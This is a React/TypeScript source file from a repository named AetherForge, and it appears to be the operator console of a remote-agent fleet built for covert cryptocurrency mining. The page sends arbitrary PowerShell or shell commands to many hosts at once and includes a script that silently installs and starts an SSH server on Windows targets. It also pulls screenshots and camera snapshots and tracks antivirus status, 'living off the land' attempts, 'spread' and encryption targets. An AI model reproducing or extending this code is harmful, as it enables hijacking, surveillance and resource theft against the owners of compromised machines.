Files
AetherForge/server/web/src/pages/CruciblePage.tsx
AetherForge 6dd5cbd461
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add onion contingency miner tree with orchestrator and Seer telemetry.
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
2026-06-07 09:29:26 -07:00

1629 lines
68 KiB
TypeScript
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import type { Agent, AgentService } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import CrucibleAgentMeta from '../components/Fleet/CrucibleAgentMeta';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
formatHashrate,
type FleetFilterState,
} from '../help/fleetFilters';
import { useFleetBulkActions } from '../hooks/useFleetBulkActions';
import { primaryGroupForAgent } from '../help/fleetGroups';
import { useFleetGroups } from '../hooks/useFleetGroups';
import { useMatrixRain } from '../context/MatrixRainContext';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import type { WSCommandResult } from '../types/ws';
import { sanitizeScreenshotBase64 } from '../help/screenshotDownload';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
import AccessDepthPanel from '../components/Fleet/AccessDepthPanel';
import LotlAttemptsList from '../components/Fleet/LotlAttemptsList';
import LotlTierBadge from '../components/Fleet/LotlTierBadge';
import RiskBadge from '../components/Fleet/RiskBadge';
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
import { parseTierReport } from '../types/lotl';
import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
import { platformIcon } from '../help/platform';
import AlsoHere from '../components/Presence/AlsoHere';
import { HelpTip } from '../components/HelpTip';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/FleetToolbar.css';
import { TERM_RENDER_CAP, visibleTerminalLines } from '../help/terminalRenderCap';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
type ShellType = 'powershell' | 'exec' | 'sh';
interface TermLine {
id: string;
agentId: string;
agentName: string;
isCmd: boolean;
text: string;
ts: Date;
success?: boolean;
// Whether this agent was in the active selection when the command was dispatched
targeted?: boolean;
// Structured data for rich terminal renderers
richData?: RichTermData;
}
// ── Rich terminal data types ────────────────────────────────────────────────
interface RichListenPort {
port: number;
addr: string;
proto: string;
process?: string;
pid?: number;
}
interface RichListenPorts {
type: 'listen_ports';
ports: RichListenPort[];
count: number;
}
interface RichPatchStatus {
type: 'patch_status';
pending_updates?: number;
last_patch?: string;
last_patch_days?: number;
reboot_pending?: boolean;
}
interface RichPostureSummary {
type: 'posture';
posture_score?: number;
defender_enabled?: boolean;
defender_rtp?: boolean;
av_products?: string[];
firewall_domain?: boolean;
firewall_private?: boolean;
firewall_public?: boolean;
ssh_listening?: boolean;
agent_elevated?: boolean;
last_patch_days?: number;
pending_updates?: number;
reboot_pending?: boolean;
services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
}
interface RichScreenshot {
type: 'screenshot';
b64: string;
}
interface RichFullSysCheck {
type: 'full_sys_check';
report: FullSysCheckReport;
}
interface RichMiningDiagnostics {
type: 'mining_diagnostics';
generated_at?: string;
active_method?: string;
execution_mode?: string;
likely_blockers: string[];
av_recommendation?: string;
lotl_tier?: string;
lotl_attempts?: import('../types/lotl').TierAttempt[];
mining_hashrate?: number;
}
type RichTermData =
| RichListenPorts
| RichPatchStatus
| RichPostureSummary
| RichScreenshot
| RichFullSysCheck
| RichMiningDiagnostics;
// ── Helpers ────────────────────────────────────────────────────────────────
const AGENT_COLORS = [
'#00e8f5', '#39ff14', '#ff2da6', '#b24bf3',
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
];
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
if (groupColor) return groupColor;
const idx = allIds.indexOf(agentId);
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00e8f5';
}
export function sshBadge(agent: Agent) {
if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' };
if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
return { label: 'SSH ?', cls: 'ssh-unk' };
}
export function postureBadge(score?: number) {
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' };
if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' };
return { label: `POSTURE ${score}`, cls: 'posture-bad' };
}
export function patchLabel(days?: number) {
if (days === undefined) return null;
return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
}
export function portsBadge(count?: number): { label: string; cls: string } | null {
if (count === undefined) return null;
return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' };
}
export function postureTooltip(agent: Agent): string {
const lines: string[] = [];
const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?';
const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?';
lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`);
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`);
lines.push('──────────────────────');
// Patch exposure
if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`);
else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`);
if (agent.pending_updates !== undefined) {
const u = agent.pending_updates;
lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u}`}`);
}
if (agent.reboot_pending !== undefined) {
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
}
// DNS config
if (agent.dns_servers?.length) {
lines.push('──────────────────────');
lines.push(`DNS (T1016): ${agent.dns_servers.join(', ')}`);
if (agent.dns_search_domains?.length) lines.push(`Search: ${agent.dns_search_domains.join(', ')}`);
if (agent.dns_drifted) lines.push('⚠ DNS changed since last heartbeat!');
}
// Resource pressure
const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null;
if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) {
lines.push('──────────────────────');
if (tempLabel) lines.push(`Temp: ${tempLabel}${agent.cpu_throttle ? ' THROTTLED' : ''}`);
if (agent.disk_free_pct !== undefined) {
lines.push(`Disk: ${agent.disk_free_gb?.toFixed(1) ?? '?'} GB free (${agent.disk_free_pct}% of ${agent.disk_total_gb?.toFixed(0) ?? '?'} GB)`);
}
if (agent.cpu_freq_mhz && agent.cpu_max_mhz) {
lines.push(`CPU freq: ${agent.cpu_freq_mhz} / ${agent.cpu_max_mhz} MHz`);
}
if (agent.gpu_usage_pct !== undefined) lines.push(`GPU util: ${agent.gpu_usage_pct}%`);
}
if (agent.services?.length) {
lines.push('──────────────────────');
lines.push('Services (T1007):');
for (const svc of agent.services) {
const icon = svc.status === 'running' ? '●' : svc.status === 'stopped' ? '○' : '—';
const st = svc.start_type !== 'unknown' ? ` [${svc.start_type}]` : '';
lines.push(` ${icon} ${svc.display_name ?? svc.name}${st}`);
}
}
return lines.join('\n');
}
export function pendingBadge(agent: Agent): { label: string; cls: string } | null {
const u = agent.pending_updates;
if (u === undefined) return null;
if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' };
if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' };
if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' };
return { label: `${u} UPD`, cls: 'upd-bad' };
}
function rebootBadge(agent: Agent): { label: string; cls: string } | null {
if (agent.reboot_pending === undefined) return null;
if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
return null;
}
// ── Resource pressure badges ───────────────────────────────────────────────
export function thermalBadge(agent: Agent): { label: string; cls: string } | null {
const t = agent.gpu_temp_c ?? agent.cpu_temp_c;
if (t === undefined) return null;
if (t > 80) return { label: `${t}°`, cls: 'therm-hot' };
if (t > 65) return { label: `${t}°`, cls: 'therm-warm' };
return null; // cool enough — no badge clutter
}
function diskBadge(agent: Agent): { label: string; cls: string } | null {
const pct = agent.disk_free_pct;
if (pct === undefined) return null;
if (pct < 5) return { label: `DISK ${pct}%`, cls: 'disk-crit' };
if (pct < 15) return { label: `DISK ${pct}%`, cls: 'disk-warn' };
return null; // plenty of space — no badge
}
function throttleBadge(agent: Agent): { label: string; cls: string } | null {
if (!agent.cpu_throttle) return null;
const pct = agent.cpu_freq_mhz && agent.cpu_max_mhz
? Math.round(agent.cpu_freq_mhz / agent.cpu_max_mhz * 100)
: null;
const label = pct !== null ? `THRTTL ${pct}%` : 'THRTTL';
return { label, cls: 'therm-warm' };
}
// ── DNS helpers (T1016) ────────────────────────────────────────────────────
function dnsBadge(agent: Agent): { label: string; cls: string } | null {
if (agent.dns_drifted) return { label: 'DNS DRIFT', cls: 'dns-drift' };
return null;
}
/** Contingency onion depth — Fleet AI Control single-host branch tree. */
export function contingencyDepthBadge(agent: Agent): { label: string; cls: string } | null {
const depth = agent.contingency_depth ?? 0;
if (depth <= 0) return null;
return { label: `ONION ${depth}`, cls: depth >= 8 ? 'cn-contingency-deep' : 'cn-contingency' };
}
// ── Service helpers (T1007) ────────────────────────────────────────────────
// Human-readable label for well-known service names
const SVC_LABELS: Record<string, string> = {
sshd: 'SSH',
ssh: 'SSH',
'openssh ssh server': 'SSH',
cloudflared: 'CF Tunnel',
wuauserv: 'WU',
windefend: 'Defender',
ufw: 'UFW',
fail2ban: 'Fail2Ban',
};
function svcLabel(svc: AgentService): string {
return SVC_LABELS[svc.name.toLowerCase()] ?? svc.display_name ?? svc.name;
}
function svcDot(status: string): string {
if (status === 'running') return '●';
if (status === 'stopped') return '○';
return '—';
}
function svcDotClass(status: string): string {
if (status === 'running') return 'svc-run';
if (status === 'stopped') return 'svc-stop';
return 'svc-unk';
}
// Only surface services that are interesting to show (skip self-service clutter)
const IMPORTANT_SVCS = new Set(['sshd', 'ssh', 'openssh ssh server', 'cloudflared', 'wuauserv', 'windefend']);
function importantServices(svcs: AgentService[]): AgentService[] {
return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
}
let _lineId = 0;
function mkId() { return `tl-${++_lineId}`; }
// ── Wake SSH commands ──────────────────────────────────────────────────────
const WAKE_SSH_PS = `
$ErrorActionPreference='SilentlyContinue'
$cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null
if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0}
Set-Service -Name sshd -StartupType Automatic
Start-Service sshd
$ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress
"SSH_WAKE_OK ip=$ip port=22"
`.trim();
const PROBE_SSH_PS = `
$s=Get-Service sshd -ErrorAction SilentlyContinue
if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
`.trim();
const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;
/** Roster page size — avoids rendering 500+ node cards at once. */
const ROSTER_PAGE_SIZE = 80;
// ── Component ──────────────────────────────────────────────────────────────
export default function CruciblePage() {
const { agents, commandResults, latestMessage } = useWebSocket();
const { setCrucibleFocus } = useMatrixRain();
// Selection
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [showGroupModal, setShowGroupModal] = useState(false);
const { groups, addGroup, removeGroup } = useFleetGroups();
const { bulkBusy, handleBulkAction } = useFleetBulkActions({
agents,
selectedIds,
commandResults,
});
// Terminal
const [termLines, setTermLines] = useState<TermLine[]>([]);
const [cmd, setCmd] = useState('');
const [shellType, setShellType] = useState<ShellType>('powershell');
const [busy, setBusy] = useState(false);
const termEndRef = useRef<HTMLDivElement>(null);
const cmdRef = useRef<HTMLInputElement>(null);
const lastSeqRef = useRef(0);
const lastLatestCmdRef = useRef<typeof latestMessage>(null);
// Command history
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
const [histIdx, setHistIdx] = useState(-1);
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops');
const [rosterPage, setRosterPage] = useState(0);
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
const [accessDepthByAgent, setAccessDepthByAgent] = useState<Record<string, AccessDepthDiagnostics>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
const sortedAgents = useMemo(() => [...agents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
const ta = a.last_seen ? new Date(a.last_seen).getTime() : 0;
const tb = b.last_seen ? new Date(b.last_seen).getTime() : 0;
if (tb !== ta) return tb - ta;
return a.name.localeCompare(b.name);
}), [agents]);
const filteredAgents = useMemo(
() => filterFleetAgents(sortedAgents, filters),
[sortedAgents, filters],
);
const rosterPageCount = Math.max(1, Math.ceil(filteredAgents.length / ROSTER_PAGE_SIZE));
const rosterPageSafe = Math.min(rosterPage, rosterPageCount - 1);
const rosterSlice = useMemo(() => {
const start = rosterPageSafe * ROSTER_PAGE_SIZE;
return filteredAgents.slice(start, start + ROSTER_PAGE_SIZE);
}, [filteredAgents, rosterPageSafe]);
useEffect(() => {
setRosterPage(0);
}, [filters]);
const selectedAgents = useMemo(
() => agents.filter((a) => selectedIds.has(a.id)),
[agents, selectedIds]
);
const online = (a: Agent) => a.status === 'online';
const fmCommandResults = useMemo(
() =>
commandResults
?.filter((r) => r.agent_id && r.action != null)
.map((r) => ({
agentId: r.agent_id as string,
action: r.action as string,
success: !!r.success,
message: r.message ?? '',
})) ?? [],
[commandResults]
);
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const encryptTargets = useMemo(
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
[selectedAgents]
);
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
const { visible: visibleTermLines, truncated: termTruncated, hidden: termHidden } = useMemo(
() => visibleTerminalLines(termLines),
[termLines],
);
const dispatchTunnelCommand = useCallback(
async (action: string, args?: Record<string, unknown>) => {
if (!singleSelectedAgent) return;
await api.sendAgentCommand(singleSelectedAgent.id, action, args);
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `${action}${singleSelectedAgent.name}`,
ts: new Date(),
},
]);
},
[singleSelectedAgent]
);
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd,
text,
ts: new Date(),
targeted: true,
},
].slice(-2000));
}, []);
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
const crucibleTargetReady =
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
useEffect(() => {
setCrucibleFocus(crucibleTargetReady);
return () => setCrucibleFocus(false);
}, [crucibleTargetReady, setCrucibleFocus]);
// Prune selectedIds when agents are removed (e.g. after roster delete).
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
// ── Auto-scroll terminal ───────────────────────────────────────────────
useEffect(() => {
const id = requestAnimationFrame(() => {
termEndRef.current?.scrollIntoView({ behavior: 'auto', block: 'end' });
});
return () => cancelAnimationFrame(id);
}, [termLines.length]);
// ── Process incoming command_result messages ───────────────────────────
useEffect(() => {
if (!commandResults || commandResults.length === 0) return;
const newEntries = commandResults.filter(
(r) => typeof r._seq === 'number' && r._seq > lastSeqRef.current,
);
if (newEntries.length === 0) return;
const lines: TermLine[] = [];
let maxSeq = lastSeqRef.current;
for (const r of newEntries) {
if (typeof r._seq === 'number') {
maxSeq = Math.max(maxSeq, r._seq);
}
const aid = r.agent_id;
if (!aid) continue;
const msg = r.message ?? '';
if (r.action === 'tunnel_status' && r.success && msg) {
if (selectedIds.size === 1 && selectedIds.has(aid)) {
setTunnelStatusMsg(msg);
}
}
// ── SSH badge updates ───────────────────────────────────────────────
if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true }));
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: false }));
}
// ── Parse structured JSON for known actions ────────────────────────
let richData: RichTermData | undefined;
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
if ((r.action === 'screenshot' || r.action === 'camera_snapshot') && r.success) {
const cleanB64 = sanitizeScreenshotBase64(msg);
if (cleanB64) {
richData = { type: 'screenshot', b64: cleanB64 };
}
}
const jsonStart = msg.indexOf('{');
if (jsonStart >= 0) {
try {
const parsed = JSON.parse(msg.slice(jsonStart));
if (r.action === 'listen_ports' && Array.isArray(parsed.ports)) {
richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
} else if (r.action === 'patch_status') {
richData = { type: 'patch_status', ...parsed };
} else if (r.action === 'full_sys_check' && parsed.generated_at) {
richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport };
} else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
richData = { type: 'posture', ...parsed };
// Update badge state
setPostureOverride((prev) => ({
...prev,
[aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
}));
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
} else if (r.action === 'mining_diagnostics') {
const blockers = parsed.likely_blockers ?? parsed.blockers;
const tierFields = parseTierReport(parsed as Record<string, unknown>);
const depthDiag = parseAccessDepthDiagnostics(parsed as Record<string, unknown>);
setAccessDepthByAgent((prev) => ({ ...prev, [aid]: depthDiag }));
if (Array.isArray(blockers) || tierFields.lotl_attempts.length > 0) {
richData = {
type: 'mining_diagnostics',
generated_at: parsed.generated_at,
active_method: parsed.active_method,
execution_mode: parsed.execution_mode,
likely_blockers: Array.isArray(blockers)
? blockers.filter((b: unknown) => typeof b === 'string')
: [],
av_recommendation: parsed.av_recommendation,
lotl_tier: tierFields.lotl_tier,
lotl_attempts: tierFields.lotl_attempts,
mining_hashrate: tierFields.mining_hashrate,
};
}
} else {
// Generic JSON with posture fields (legacy path)
if (typeof parsed.posture_score === 'number') {
setPostureOverride((prev) => ({
...prev,
[aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
}));
}
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
}
} catch { /* malformed JSON — fall through to plain text */ }
}
const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8);
const targeted = selectedIds.size === 0 || selectedIds.has(aid);
if (richData) {
lines.push({
id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: '', ts: new Date(),
success: r.success, richData, targeted,
});
} else {
const msgLines = msg.split('\n').filter(Boolean);
if (msgLines.length === 0) {
const label = r.action ? `[${r.action}]` : '[result]';
msgLines.push(r.success ? `${label} OK` : `${label} FAILED`);
}
for (const line of msgLines) {
lines.push({
id: mkId(), agentId: aid, agentName: name,
isCmd: false, text: line, ts: new Date(), success: r.success, targeted,
});
}
}
}
lastSeqRef.current = maxSeq;
if (lines.length > 0) {
setTermLines((prev) => [...prev, ...lines].slice(-2000));
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [commandResults]);
// Backup path: if commandResults batching ever misses an entry, latestMessage
// still carries command_result (WS_LATEST_MESSAGE_TYPES includes it).
useEffect(() => {
if (!latestMessage || latestMessage.type !== 'command_result') return;
if (latestMessage === lastLatestCmdRef.current) return;
lastLatestCmdRef.current = latestMessage;
let r = latestMessage.payload as WSCommandResult | string;
if (typeof r === 'string') {
try {
r = JSON.parse(r) as WSCommandResult;
} catch {
return;
}
}
const aid = r.agent_id;
if (!aid) return;
// commandResults effect owns entries already queued in the provider buffer
if (
commandResults?.some(
(c) => c.agent_id === aid && c.action === r.action && c.message === r.message,
)
) {
return;
}
const msg = r.message ?? '';
const agent = agents.find((a) => a.id === aid);
const name = agent?.name ?? aid.slice(0, 8);
const targeted = selectedIds.size === 0 || selectedIds.has(aid);
const msgLines = msg.split('\n').filter(Boolean);
if (msgLines.length === 0) {
const label = r.action ? `[${r.action}]` : '[result]';
msgLines.push(r.success ? `${label} OK` : `${label} FAILED`);
}
const lines: TermLine[] = msgLines.map((line) => ({
id: mkId(),
agentId: aid,
agentName: name,
isCmd: false,
text: line,
ts: new Date(),
success: r.success,
targeted,
}));
setTermLines((prev) => [...prev, ...lines].slice(-2000));
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [latestMessage, commandResults]);
// ── Selection helpers ──────────────────────────────────────────────────
const toggle = (id: string) =>
setSelectedIds((prev) => {
const next = new Set(prev);
if (next.has(id)) next.delete(id); else next.add(id);
return next;
});
const selectAgent = (id: string) => setSelectedIds(new Set([id]));
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
const clearSel = () => setSelectedIds(new Set());
const onlineAgentIds = useMemo(
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
[agents]
);
const activateGroup = (g: { agentIds: string[] }) => setSelectedIds(new Set(g.agentIds));
// ── Dispatch command ───────────────────────────────────────────────────
const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0 || !command.trim()) return;
setBusy(true);
// Echo command to terminal
const echoLines: TermLine[] = tgts.map((a) => ({
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: true,
text: command,
ts: new Date(),
}));
setTermLines((prev) => [...prev, ...echoLines].slice(-2000));
setCmdHistory((h) => [command, ...h].slice(0, 50));
setHistIdx(-1);
const action = shell === 'powershell' ? 'powershell'
: shell === 'sh' ? 'exec'
: 'exec';
await Promise.all(
tgts.map(async (a) => {
try {
const res = await api.sendAgentCommand(a.id, action, { command });
if (res.success === false) {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: false,
text: `[ERROR] ${res.error ?? 'command rejected'}`,
ts: new Date(),
success: false,
},
]);
}
} catch (err) {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: a.id,
agentName: a.name,
isCmd: false,
text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
},
]);
}
})
);
setBusy(false);
cmdRef.current?.focus();
}, [selectedAgents]);
const sendCmd = () => {
dispatch(cmd, shellType);
setCmd('');
};
const probeSSH = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
for (const a of tgts) {
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH;
const shell: ShellType = isWin ? 'powershell' : 'sh';
dispatch(probeCmd, shell, [a]);
}
};
const wakeSSH = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
for (const a of tgts) {
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
if (isWin) {
dispatch(WAKE_SSH_PS, 'powershell', [a]);
} else {
dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]);
}
}
};
const probePosture = (targets?: Agent[]) => {
const tgts = targets ?? selectedAgents.filter(online);
if (tgts.length === 0) { alert('No online agents selected.'); return; }
Promise.all(
tgts.map((a) =>
api.sendAgentCommand(a.id, 'posture').catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
},
]);
})
)
);
};
// Fires posture + listen_ports + patch_status in parallel.
// When agents are selected, targets only selection. Otherwise targets all online.
const scanSelected = (targets?: Agent[]) => {
const tgts = targets ?? (selectedAgents.filter(online).length > 0
? selectedAgents.filter(online)
: agents.filter(online));
if (tgts.length === 0) { alert('No online agents available.'); return; }
const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
for (const a of tgts) {
for (const cmd of cmds) {
api.sendAgentCommand(a.id, cmd).catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
},
]);
});
}
}
};
// Focused agent — when exactly one is selected show its details prominently.
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
if (e.key === 'Enter') { sendCmd(); return; }
if (e.key === 'ArrowUp') {
e.preventDefault();
const next = Math.min(histIdx + 1, cmdHistory.length - 1);
setHistIdx(next);
setCmd(cmdHistory[next] ?? '');
}
if (e.key === 'ArrowDown') {
e.preventDefault();
const next = Math.max(histIdx - 1, -1);
setHistIdx(next);
setCmd(next < 0 ? '' : cmdHistory[next] ?? '');
}
};
// ── Effective SSH status ───────────────────────────────────────────────
const sshStatus = (a: Agent) => {
const override = sshOverride[a.id];
if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' };
return sshBadge({ ...a });
};
const postureStatus = (a: Agent) => {
const o = postureOverride[a.id];
const score = o?.score ?? a.posture_score;
const patchDays = o?.patchDays ?? a.last_patch_days;
return {
...postureBadge(score),
patch: patchLabel(patchDays),
ports: portsBadge(a.listen_port_count),
};
};
// ── Rich terminal renderers ────────────────────────────────────────────
const RichListenPortsTable = ({ d }: { d: RichListenPorts }) => (
<div className="rich-block rich-ports">
<div className="rich-header">
<span className="rich-label">LISTEN PORTS</span>
<span className="rich-count">{d.count} listener{d.count !== 1 ? 's' : ''}</span>
</div>
{d.ports.length === 0 ? (
<div className="rich-empty">No listeners found</div>
) : (
<table className="rich-table">
<thead>
<tr>
<th>PORT</th>
<th>ADDR</th>
<th>PROTO</th>
<th>PROCESS</th>
<th>PID</th>
</tr>
</thead>
<tbody>
{d.ports.map((p, i) => (
<tr key={i} className={p.port === 22 ? 'rich-row-ssh' : p.port < 1024 ? 'rich-row-sys' : ''}>
<td className="rich-port">{p.port}</td>
<td className="rich-addr">{p.addr || '*'}</td>
<td className="rich-proto">{p.proto.toUpperCase()}</td>
<td className="rich-proc">{p.process || '—'}</td>
<td className="rich-pid">{p.pid ?? '—'}</td>
</tr>
))}
</tbody>
</table>
)}
</div>
);
const RichPatchStatusBlock = ({ d }: { d: RichPatchStatus }) => (
<div className="rich-block rich-patch">
<div className="rich-header">
<span className="rich-label">PATCH STATUS</span>
{d.reboot_pending && <span className="rich-tag rich-tag-warn blink-slow">REBOOT REQUIRED</span>}
</div>
<div className="rich-kv-row">
<span className="rich-key">Pending Updates</span>
<span className={`rich-val ${(d.pending_updates ?? 0) > 0 ? 'rich-val-warn' : 'rich-val-ok'}`}>
{d.pending_updates ?? 0}
</span>
</div>
<div className="rich-kv-row">
<span className="rich-key">Last Patch</span>
<span className={`rich-val ${(d.last_patch_days ?? 0) > 60 ? 'rich-val-bad' : (d.last_patch_days ?? 0) > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}>
{d.last_patch ?? '—'}{d.last_patch_days != null ? ` (${d.last_patch_days}d ago)` : ''}
</span>
</div>
<div className="rich-kv-row">
<span className="rich-key">Reboot Pending</span>
<span className={`rich-val ${d.reboot_pending ? 'rich-val-warn' : 'rich-val-ok'}`}>
{d.reboot_pending ? 'YES' : 'NO'}
</span>
</div>
</div>
);
const fwIcon = (on?: boolean) => on ? <span className="rich-val-ok">ON</span> : <span className="rich-val-bad">OFF</span>;
const RichPostureSummaryBlock = ({ d }: { d: RichPostureSummary }) => (
<div className="rich-block rich-posture">
<div className="rich-header">
<span className="rich-label">POSTURE REPORT</span>
{d.posture_score != null && (
<span className={`rich-score ${d.posture_score >= 70 ? 'rich-score-ok' : d.posture_score >= 40 ? 'rich-score-warn' : 'rich-score-bad'}`}>
